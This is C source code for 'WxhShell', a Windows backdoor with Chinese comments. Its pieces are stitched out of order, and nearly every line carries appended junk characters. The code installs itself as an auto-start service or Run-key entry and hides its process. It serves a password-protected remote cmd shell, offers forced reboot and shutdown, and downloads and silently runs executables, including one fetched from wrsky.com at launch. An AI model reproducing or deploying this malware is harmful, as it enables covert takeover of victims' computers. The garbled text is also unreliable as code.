    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y$3H$F.+  
    if(Boot(SHUTDOWN)) mq$mB1$3u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CFJ F}aW  
    else { q|J3]F !n  
    closesocket(wsh); \XR%pC  
    ExitThread(0); 4kO[|~#  
    } oD,f5Ci-  
    break; A3%s5`vNvH  
    } >'#G$f  
  // 获取shell $rf4h]&<  
  case 's': { dbGW`_zQ4  
    CmdShell(wsh); }?B=R#5  
    closesocket(wsh); \nV|Y=5  
    ExitThread(0); t5h]]TOz  
    break; ['pk/h  
  } X<s']C9c  
  // 退出 620y[iiK$  
  case 'x': { )%8oE3O#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VXvr`U\  
    CloseIt(wsh); c }>:>^  
    break;  N7j  
    } VHX&#vm*  
  // 离开 2U,O e9  
  case 'q': { }J t( H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4cK6B)X  
    closesocket(wsh); @L|X('i  
    WSACleanup(); c_xtwdkL9  
    exit(1); =?UCtYN,P  
    break; ~~ ]/<d  
        } GDC`\cy  
  } WAiEINQ^)  
  } {Q8DPkW  
.E|Hk,c9  
  // 提示信息 yEUFK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ak%M,``(L  
} Sv.z9@S  
  } :bMCmY  
"iE9X.6NMu  
  return; -bSe=09;S|  
} 06 gE;iT  
5,>1rd<B  
// shell模块句柄 'Omi3LXfDT  
int CmdShell(SOCKET sock) \s Fdp!M}2  
{ N1WP  
STARTUPINFO si; j.4oYxK!s/  
ZeroMemory(&si,sizeof(si)); cA ;'~[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W?{:HV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }AG$E}~/  
PROCESS_INFORMATION ProcessInfo; ZjY_AbD  
char cmdline[]="cmd"; w[PWJ! <  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HbF.doXK  
  return 0; MrjET!`.jC  
} 9z 5K  -s  
$DW3H1iW  
// 自身启动模式 fXMVl\ <  
int StartFromService(void) QOIi/flK  
{ 9@C3jZ+9`H  
typedef struct $enh>!mU  
{ k%#`{#n i  
  DWORD ExitStatus; VtF^; f  
  DWORD PebBaseAddress; }(O/y-  
  DWORD AffinityMask; Ay<'Z6`  
  DWORD BasePriority; m` cw:  
  ULONG UniqueProcessId; dz.]5R  
  ULONG InheritedFromUniqueProcessId; 9Qp39(l:  
}   PROCESS_BASIC_INFORMATION; O z%K*  
rKq/=Avv  
PROCNTQSIP NtQueryInformationProcess; ?_[xpK()  
zLXmjrC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8WV1OIL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rk^Fasg"  
qVC_K/w 7  
  HANDLE             hProcess; boo,KhW'Y  
  PROCESS_BASIC_INFORMATION pbi; eA&hiAP/  
H V<|eL #  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tA$,4B?  
  if(NULL == hInst ) return 0; I.tJ4  
"|`8mNC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $*K5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vP&dvAUF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z$0r+phQk=  
?*E Y~'I  
  if (!NtQueryInformationProcess) return 0; 7P9n. [  
1Nw&Z0MI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?UQVmE&  
  if(!hProcess) return 0; y|q4d(P.  
d9|dHJf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r9@O`i  
gBHev1^y  
  CloseHandle(hProcess); xBU\$ToC  
tx&>Eo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B{a:cz>0<  
if(hProcess==NULL) return 0; 9}`O*A=KC  
&KgR;.R^J  
HMODULE hMod; `LH!"M  
char procName[255]; -2|D( sO  
unsigned long cbNeeded; !`\W8JT+  
_)2.#L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  O/gok+K  
QL}5vSl  
  CloseHandle(hProcess); R B.j@*  
#NNj#  
if(strstr(procName,"services")) return 1; // 以服务启动 >joGG T  
O;f^' N  
  return 0; // 注册表启动 p+;Re2Uyg  
} L@S"c (  
+-'qI_xo  
// 主模块 E xKH%I  
int StartWxhshell(LPSTR lpCmdLine) nFW^^v<  
{ vX)6N#D!  
  SOCKET wsl; t*<vc]D  
BOOL val=TRUE; xC`Hm?kM  
  int port=0; jM1_+Lm1  
  struct sockaddr_in door; EVNTn`J_  
(U2G"  
  if(wscfg.ws_autoins) Install(); )(*A1C[  
Di9yd  
port=atoi(lpCmdLine); D/V. o}X$  
8_>\A= E  
if(port<=0) port=wscfg.ws_port; :84ja>`c  
hiaj!&+Q  
  WSADATA data; <,Sy:>:"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0ang~_  
/OgXNIl]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vQ+}rHf`[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3k;U#H  
  door.sin_family = AF_INET;  vi4 1`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )&+_T+\  
  door.sin_port = htons(port); vPmP<c)cb  
h@Ea$1'e,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dVVeH\o  
closesocket(wsl); b-]E -$Uz  
return 1; oHI~-{m3)  
} ro@Zbm;P  
#i ?@S$  
  if(listen(wsl,2) == INVALID_SOCKET) { N$pwTyk  
closesocket(wsl); H24g+<Tv  
return 1; /2>-h-zBjw  
} 7zr\AgV9  
  Wxhshell(wsl); U`FybP2R~  
  WSACleanup(); W euV+}\b  
'`"LX!"ZO  
return 0; -_uL;9r  
2-llT  
} =d~]*[8  
ifTVTd7O  
// 以NT服务方式启动 |rdG+ >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eno*JK  
{ M=yZ5~3  
DWORD   status = 0; $@x3<}X;  
  DWORD   specificError = 0xfffffff; aZ@4Z=LK  
2@08 V|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `"AjbCL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }S*6+4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F Paj p  
  serviceStatus.dwWin32ExitCode     = 0; -J[zJ4z #  
  serviceStatus.dwServiceSpecificExitCode = 0; P(X#w  
  serviceStatus.dwCheckPoint       = 0; PC\Xm,,  
  serviceStatus.dwWaitHint       = 0; IS&`O= 7  
0#K@^a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W{ eu_  
  if (hServiceStatusHandle==0) return; {Hp?rY@  
kjNA~{  
status = GetLastError(); OOl{  
  if (status!=NO_ERROR) Da-F(^E  
{ kUP[&/Lc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pdf_{8 r  
    serviceStatus.dwCheckPoint       = 0; sB0+21'R  
    serviceStatus.dwWaitHint       = 0; ?jqZeO#W7  
    serviceStatus.dwWin32ExitCode     = status; ivoPl~)J  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~e{2Y%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *!Am6\+  
    return; yp@mxI@1  
  } $k'f)E  
{!N4|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &=HM}h  
  serviceStatus.dwCheckPoint       = 0; #cdLg-v  
  serviceStatus.dwWaitHint       = 0; d.2b7q09  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ) V@qH]  
} '0t j2  
ATnD~iACY  
// 处理NT服务事件,比如:启动、停止 Jk{>*jYk`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3BY/&'oX  
{ w-B\AK?}  
switch(fdwControl) Lj~lfO  
{ .&sguAyG  
case SERVICE_CONTROL_STOP: E*(Q'p9C  
  serviceStatus.dwWin32ExitCode = 0; N"r ;d+LTL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _'I9rGlx3  
  serviceStatus.dwCheckPoint   = 0; '')G6-c/  
  serviceStatus.dwWaitHint     = 0; 7y[B[$P  
  { M<ad>M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l$zNsf.  
  } ,1~Zqprn  
  return; //J:p,AF  
case SERVICE_CONTROL_PAUSE: ]G1j\wnF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t<`ar@}  
  break; HhqqJEp0  
case SERVICE_CONTROL_CONTINUE: U">OdoZ,E+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dtF6IdAf  
  break;  fx;5j;  
case SERVICE_CONTROL_INTERROGATE: +Og O<P  
  break; 8U;!1!+ 7)  
}; {;p /V\   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8ZIv:nO$  
} iGhapD  
M2s   
// 标准应用程序主函数 qh2.N}lW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |HG%o 3E]  
{ qS2%U?S7  
ux =a9  
// 获取操作系统版本 yBl<E$=  
OsIsNt=GetOsVer(); 8vT:icl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I7uYsjh@u  
}s)Z:6;(,q  
  // 从命令行安装 92SB'T>  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;JZXSM-3  
gIRCJ=e[b  
  // 下载执行文件 Q1jyetk~I  
if(wscfg.ws_downexe) { s]I],>}RU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3R{-\ZMd  
  WinExec(wscfg.ws_filenam,SW_HIDE); mdZELRu  
} qnA:[H;F  
#-@{rgH  
if(!OsIsNt) { ;8T<L[ ^U  
// 如果时win9x,隐藏进程并且设置为注册表启动 .1pEq~>  
HideProc(); yr=r? h}  
StartWxhshell(lpCmdLine); VKs\b-1  
} J BwTmOvQ  
else /C(L(X  
  if(StartFromService()) xJ"KR:CD>  
  // 以服务方式启动 {E!$ xY8  
  StartServiceCtrlDispatcher(DispatchTable); ]s*5[ =uc2  
else 3C277nx  
  // 普通方式启动 KqN!?anPr  
  StartWxhshell(lpCmdLine); =ud `6{R  
 M*d-z  
return 0; wXc,FD$  
} ~?FK ; (  
)-0[ra]  
eQ$N:]  
' 2>l  
=========================================== 84iJ[Fq{  
Z:I*y7V-  
0Vf)Rw1%I  
B }6Kd  
~_ *H)|  
^g9}f  
" WI,40&<  
0(wf{5  
#include <stdio.h> uVN.=  
#include <string.h> >HE,'  
#include <windows.h> 4Z*|Dsw  
#include <winsock2.h> riID,aut  
#include <winsvc.h> hZ!oRWIU%G  
#include <urlmon.h> N g58/}zO  
y&7YJx  
#pragma comment (lib, "Ws2_32.lib") .j:i&j(  
#pragma comment (lib, "urlmon.lib") joe9.{  
2*+ 3Rr J  
#define MAX_USER   100 // 最大客户端连接数 LFCTr/,  
#define BUF_SOCK   200 // sock buffer 2bWUa~%B  
#define KEY_BUFF   255 // 输入 buffer -r!42`S  
7nm}fT z7  
#define REBOOT     0   // 重启 ]x1p!TSU  
#define SHUTDOWN   1   // 关机 ^rL ,&rk  
v#zPH5xo  
#define DEF_PORT   5000 // 监听端口 d{W}p~UbH  
TW>?h=.z  
#define REG_LEN     16   // 注册表键长度  G]b8]3^  
#define SVC_LEN     80   // NT服务名长度 mj)PLZ]  
L*P_vCC  
// 从dll定义API }qG#N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,aI,2U91  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]22C )<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (/'h4KS@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ])C>\@c6Gm  
}xqXd%uz  
// wxhshell配置信息 $)Wb#B  
struct WSCFG { @\ }sb]  
  int ws_port;         // 监听端口 TfL4_IAG.  
  char ws_passstr[REG_LEN]; // 口令 X&s7% ]n+  
  int ws_autoins;       // 安装标记, 1=yes 0=no -)X{n?i  
  char ws_regname[REG_LEN]; // 注册表键名 w5,6$#  
  char ws_svcname[REG_LEN]; // 服务名 RYt6=R+f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J=):+F=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5lO^;.cS,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %8 qSv%_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q'.;W@m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ( ]OFS;%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f7Zf}1|  
"MTWjW*6  
}; z4g+2f7h-X  
L7m`HVCt&  
// default Wxhshell configuration +I&J7ICV0  
struct WSCFG wscfg={DEF_PORT, e[}],W  
    "xuhuanlingzhe", i-,'.w  
    1, pzg&/m&F`  
    "Wxhshell", 0vDg8i\  
    "Wxhshell", $:e)$Xnn-  
            "WxhShell Service", ?s%v 3T  
    "Wrsky Windows CmdShell Service", s{ =5-:  
    "Please Input Your Password: ", +lKrj\Xj  
  1, ^T{8uJ'kn  
  "http://www.wrsky.com/wxhshell.exe", ?NlSeh  
  "Wxhshell.exe" sYW[O"oNi  
    }; }C_|gd  
gGmxx,i  
// 消息定义模块 FRgLlp8x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {EL'd!v7e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v~}5u 5 $O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YwXXXh  
char *msg_ws_ext="\n\rExit."; N#UXP5C(  
char *msg_ws_end="\n\rQuit."; %[XY67A3I  
char *msg_ws_boot="\n\rReboot..."; a!D*)z Y  
char *msg_ws_poff="\n\rShutdown..."; GQ<Ds{exs>  
char *msg_ws_down="\n\rSave to "; ]% Y\ZIS  
%@P``  
char *msg_ws_err="\n\rErr!"; 8[~~gYl  
char *msg_ws_ok="\n\rOK!"; 9^!wUwB  
g ?V&mu  
char ExeFile[MAX_PATH]; Y9tV%  
int nUser = 0; UW/N MjK  
HANDLE handles[MAX_USER]; k-Fdj5/  
int OsIsNt; F@1d%c  
lBmm(<~Z  
SERVICE_STATUS       serviceStatus; U. (Tl>K|0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $3 4j6;oN  
5U~OP  
// 函数声明 HlPG3LD!  
int Install(void); "J !}3)n  
int Uninstall(void); (f~gEKcB2u  
int DownloadFile(char *sURL, SOCKET wsh);  uB;_vC  
int Boot(int flag); &n|*uLn  
void HideProc(void); -;>#3 O-  
int GetOsVer(void); [f/.!@sj  
int Wxhshell(SOCKET wsl); um[!|g/  
void TalkWithClient(void *cs); Q&PB]D{  
int CmdShell(SOCKET sock); MRs,l'  
int StartFromService(void); 2e.N"eLNt  
int StartWxhshell(LPSTR lpCmdLine); 6-]h5L]  
Gqt-_gga  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); { 5-zyE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [O_^MA,z  
*NlpotW,f  
// 数据结构和表定义 &6/%k kv  
SERVICE_TABLE_ENTRY DispatchTable[] = 3Z1OX]R  
{ sT`^ljp4  
{wscfg.ws_svcname, NTServiceMain}, &K *X)DAs  
{NULL, NULL} SX+4 HJB  
}; {a@>6)  
q{E"pyt36R  
// 自我安装 E/mw* c^  
int Install(void) `hzrfum4  
{ 2tf6GX:  
  char svExeFile[MAX_PATH]; E:w:4[neh  
  HKEY key; g~ !$i`_b  
  strcpy(svExeFile,ExeFile); P"F{=\V1`<  
jV^C19  
// 如果是win9x系统,修改注册表设为自启动 Q]rqD83((  
if(!OsIsNt) { ,H39V+Y*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6IP$n($2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !5UfWk\G  
  RegCloseKey(key); X>t3|h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9P.(^SD][z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z>2]Xx% \  
  RegCloseKey(key); 94{)"w]  
  return 0; X V=S )  
    } 7Ms90oE/c  
  } 2]2H++  
} nm@']  
else { OJ/SYZ.r  
{155b0  
// 如果是NT以上系统,安装为系统服务 TJOvyz`t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O@jqdJu  
if (schSCManager!=0) _faJB@a_  
{ \zu }\{  
  SC_HANDLE schService = CreateService <'&F;5F3V  
  ( :wipE]~4t  
  schSCManager, }fA;7GW+9  
  wscfg.ws_svcname, ?z=\Ye5x  
  wscfg.ws_svcdisp, [AR>?6G-  
  SERVICE_ALL_ACCESS, K\&o2lo]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r5 yO5W  
  SERVICE_AUTO_START, Oq+E6"<y;?  
  SERVICE_ERROR_NORMAL, B1$ikY  
  svExeFile, zZ=$O-&%  
  NULL, YH\j@ ^n  
  NULL, `FJ|W6%  
  NULL, {Q~7M$  
  NULL, aFY u}kl  
  NULL  KG8W8&q  
  ); J :S'uxM  
  if (schService!=0) u 9]1X1wV  
  { Y"!uU.=xJ  
  CloseServiceHandle(schService); L.B~ax.|Z  
  CloseServiceHandle(schSCManager); ll<mE,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kdcQw7G  
  strcat(svExeFile,wscfg.ws_svcname); zOGR+Gq_Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %0XvJF)s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S LGW:  
  RegCloseKey(key); "8(U\KaX  
  return 0; eH <Jng  
    } 6GINmkA  
  } 6t}XJB$+7  
  CloseServiceHandle(schSCManager); 2dbRE:v5  
} 6I|A- h  
} {/}^D-  
6)[< )?A.[  
return 1; #3MKH8k&~  
} 6sB$<#  
, 2`~ NPb  
// 自我卸载 Rj6|Y"gq9  
int Uninstall(void) HZZDv+  
{ rWQY?K@  
  HKEY key; 8Xn!Kpa  
l,d, T  
if(!OsIsNt) { 6RK\}@^=K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5~r2sCDPk  
  RegDeleteValue(key,wscfg.ws_regname); >I<PO.c!  
  RegCloseKey(key); KAc>-c<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T*CME]  
  RegDeleteValue(key,wscfg.ws_regname); uZ(? >  
  RegCloseKey(key); u~F~cDu  
  return 0; w%xCTeK[  
  } s-?fUqA  
} U7H9/<&o  
} Qn=$8!Qqa  
else { +K{LQsR]  
K)[8 H~Lm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IR$ (_9z  
if (schSCManager!=0) lS9n@  
{ NK/4OAt%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'M/ ([|@  
  if (schService!=0) K+),?Q ?.p  
  { {gU&%j  
  if(DeleteService(schService)!=0) { ;dQAV\  
  CloseServiceHandle(schService); DDw''  
  CloseServiceHandle(schSCManager); MFwO9"<A  
  return 0; YBjdp=als  
  } YD&_^3-XM  
  CloseServiceHandle(schService); KQmZ#W%2m  
  } #jS[  
  CloseServiceHandle(schSCManager); _H\<[-l  
} ~V+l_ :  
} 3?E}t*/  
dGkg aC+  
return 1; &Lt@} 7$8  
} 213\ehhG<  
>Ko[Xb-8^_  
// 从指定url下载文件 `\b+[Nes  
int DownloadFile(char *sURL, SOCKET wsh) *jCW.ZLY  
{ |y1;&<  
  HRESULT hr; GAl+Zg##  
char seps[]= "/"; : F9|&q-W,  
char *token; bQQVj?8jp  
char *file; !'W-6f  
char myURL[MAX_PATH];  CL3xg)x6  
char myFILE[MAX_PATH]; ;pZ[|  
|_zO_Frtp  
strcpy(myURL,sURL); bd \=h1  
  token=strtok(myURL,seps); O#_x)13  
  while(token!=NULL) ([LIjaoi  
  { ^:cRp9l"7  
    file=token; P))^vUt~  
  token=strtok(NULL,seps); FFzH!=7T?  
  } qnIew?-*  
w~+aW(2  
GetCurrentDirectory(MAX_PATH,myFILE); i_l+:/+G+  
strcat(myFILE, "\\"); M{KW@7j  
strcat(myFILE, file); )bD nbO$s_  
  send(wsh,myFILE,strlen(myFILE),0); $[(d X!]F  
send(wsh,"...",3,0); L *Y|ey  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J@#?@0]F  
  if(hr==S_OK) c`kQvXx  
return 0; &drFQ|  
else WS,7dz  
return 1; A 's-'8m  
nSS=%,?  
} X")|Uw8Kl/  
xsP4\C>  
// 系统电源模块 /A07s[L  
int Boot(int flag) N|dD!  
{ $p$dKH  
  HANDLE hToken; @ 4UxRp6+  
  TOKEN_PRIVILEGES tkp; QLr9dnA  
[Z<Z;=t  
  if(OsIsNt) { |NMO__l@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PK:2xN:=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KIus/S5 RC  
    tkp.PrivilegeCount = 1; (S9f/i ^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |g_g8[@`}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nk@atK,38^  
if(flag==REBOOT) { n=!uNu7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /QxlGfNZ  
  return 0; #oV+@D`  
} p'Bm8=AwD  
else { ,8VU&?`<}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a!,r46>$H  
  return 0; oF|N O^H  
} nWaNT-  
  } GP,<`l&  
  else { Yl({)qK{  
if(flag==REBOOT) { ;=~Xr"(/z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k1}hIAk3u  
  return 0; S!Jh2tsg`-  
} #R5U   
else { 1r9f[j~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |jG~,{  
  return 0; 1oY^]OD]W  
} r>n" 51*  
} a.kbov(  
f )NHM'  
return 1; K+d2m9C=  
} 1ThqqB  
97`WMs  
// win9x进程隐藏模块 pJ^NA2  
void HideProc(void) }iww:H-1  
{ PHr a+NY#A  
AEg(m<t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZFxLBb:  
  if ( hKernel != NULL ) EX "|H.(  
  { Vfs $ VY2.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !:0v{ZQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IVjU`ij  
    FreeLibrary(hKernel); 7@;">`zvm  
  } K4 %/!`  
;L"!I3dM)  
return; |:[9O`U)s  
} &m'kI  
zG9|K  
// 获取操作系统版本 UY>v"M  
int GetOsVer(void) @,OT/egF4:  
{ C"eXs#A  
  OSVERSIONINFO winfo; QMp r v*i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0b-?q&*_  
  GetVersionEx(&winfo); (q;bg1\UK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;hDa@3|]34  
  return 1; }nrXxfu  
  else {aOkV::  
  return 0; !xK=#pa  
} /@YCA}|/  
J"CJYuGW,  
// 客户端句柄模块 4na8  
int Wxhshell(SOCKET wsl) x]4Kkpqm  
{ cxyM\@QB3  
  SOCKET wsh; FxW&8 9G  
  struct sockaddr_in client; B$a-og(  
  DWORD myID; wWjG JvJ  
eV!L^>>>  
  while(nUser<MAX_USER) ukAKFc^)k  
{ SoQR#(73HK  
  int nSize=sizeof(client); \k@$~}xD,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *75YGD  
  if(wsh==INVALID_SOCKET) return 1; Z~u9VYi!  
uO(w1Q"^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $:bih4 @>  
if(handles[nUser]==0) a)s;dp}T%  
  closesocket(wsh); mY-hN|  
else 1|| nR4yK  
  nUser++; 2}WDw>V  
  } ^twivNB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UT]?;o"  
${r[!0|   
  return 0; /n{1o\  
} "&o,yd%  
2xxB\J  
// 关闭 socket ;)hw%Z]Jj$  
void CloseIt(SOCKET wsh) K~6e5D7.  
{ xBM>u,0.F  
closesocket(wsh); `'4)q}bB  
nUser--; nWYCh7  
ExitThread(0); %JL]; 4'  
} <nHkg<O6Y  
f@ `*>"  
// 客户端请求句柄 yI;"9G  
void TalkWithClient(void *cs) "VUYh$=[  
{ LBlN2)\@  
6(V /yn ~  
  SOCKET wsh=(SOCKET)cs; b]fzRdhl  
  char pwd[SVC_LEN]; L36Yx7gT<  
  char cmd[KEY_BUFF]; [ !%R#+o=F  
char chr[1]; u'5`[U -!  
int i,j; /DFV$+9  
}VCI=?-  
  while (nUser < MAX_USER) { ?UZ?NY  
6[ga$nF?  
if(wscfg.ws_passstr) { 963aW*r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DVp5hR_$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8*a), 3aK  
  //ZeroMemory(pwd,KEY_BUFF); '+y_\  
      i=0; wa09$4>_w  
  while(i<SVC_LEN) { KG9t3<-`  
zc+@lJy  
  // 设置超时 gwB\<rzG  
  fd_set FdRead; msx-O=4g  
  struct timeval TimeOut; +Ic ~ f1zh  
  FD_ZERO(&FdRead); l|`^*%W@u6  
  FD_SET(wsh,&FdRead); Snw3`|Y~<  
  TimeOut.tv_sec=8; 2.I^Xf2  
  TimeOut.tv_usec=0; &9[P-w;7u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ` }gbc69  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PX O!t]*  
yt0,^*t_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S;\R!%t_  
  pwd=chr[0]; m@G i6   
  if(chr[0]==0xd || chr[0]==0xa) { <^R{U&Z@  
  pwd=0; D{7w!z  
  break; DC4C$AyW r  
  } ^4Uw8-/9  
  i++; &l2TeC@;  
    } .TB"eUy  
-apXI.  
  // 如果是非法用户,关闭 socket tD=@SX'Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DocbxB={I  
} z%d#@w0X1  
 J m{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :' #\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ii|? ;  
n{5NNV6  
while(1) { m?CZQq,  
sH#X0fG  
  ZeroMemory(cmd,KEY_BUFF); kPxT" " k  
np$ zo  
      // 自动支持客户端 telnet标准   #=c`of6  
  j=0; (c\hy53dP  
  while(j<KEY_BUFF) { ':h =*v8a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rd&9E  
  cmd[j]=chr[0]; T2'RATfG  
  if(chr[0]==0xa || chr[0]==0xd) { 8G^<[`.@j  
  cmd[j]=0; mqtg[~dNc  
  break; s}5+3f$f  
  } .8gl< vX  
  j++; f i~I@KJ>  
    } !ku X,*}q  
/8ynvhF#  
  // 下载文件 (nSml,gU  
  if(strstr(cmd,"http://")) { 0JyVNuHn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XVVD 0^ Q  
  if(DownloadFile(cmd,wsh)) "E*e2W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); | }&RXD  
  else K7TzF&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \1%l^dE@  
  } A&5:ATQ/|  
  else { /#LW"4;*  
cDEJk?3+  
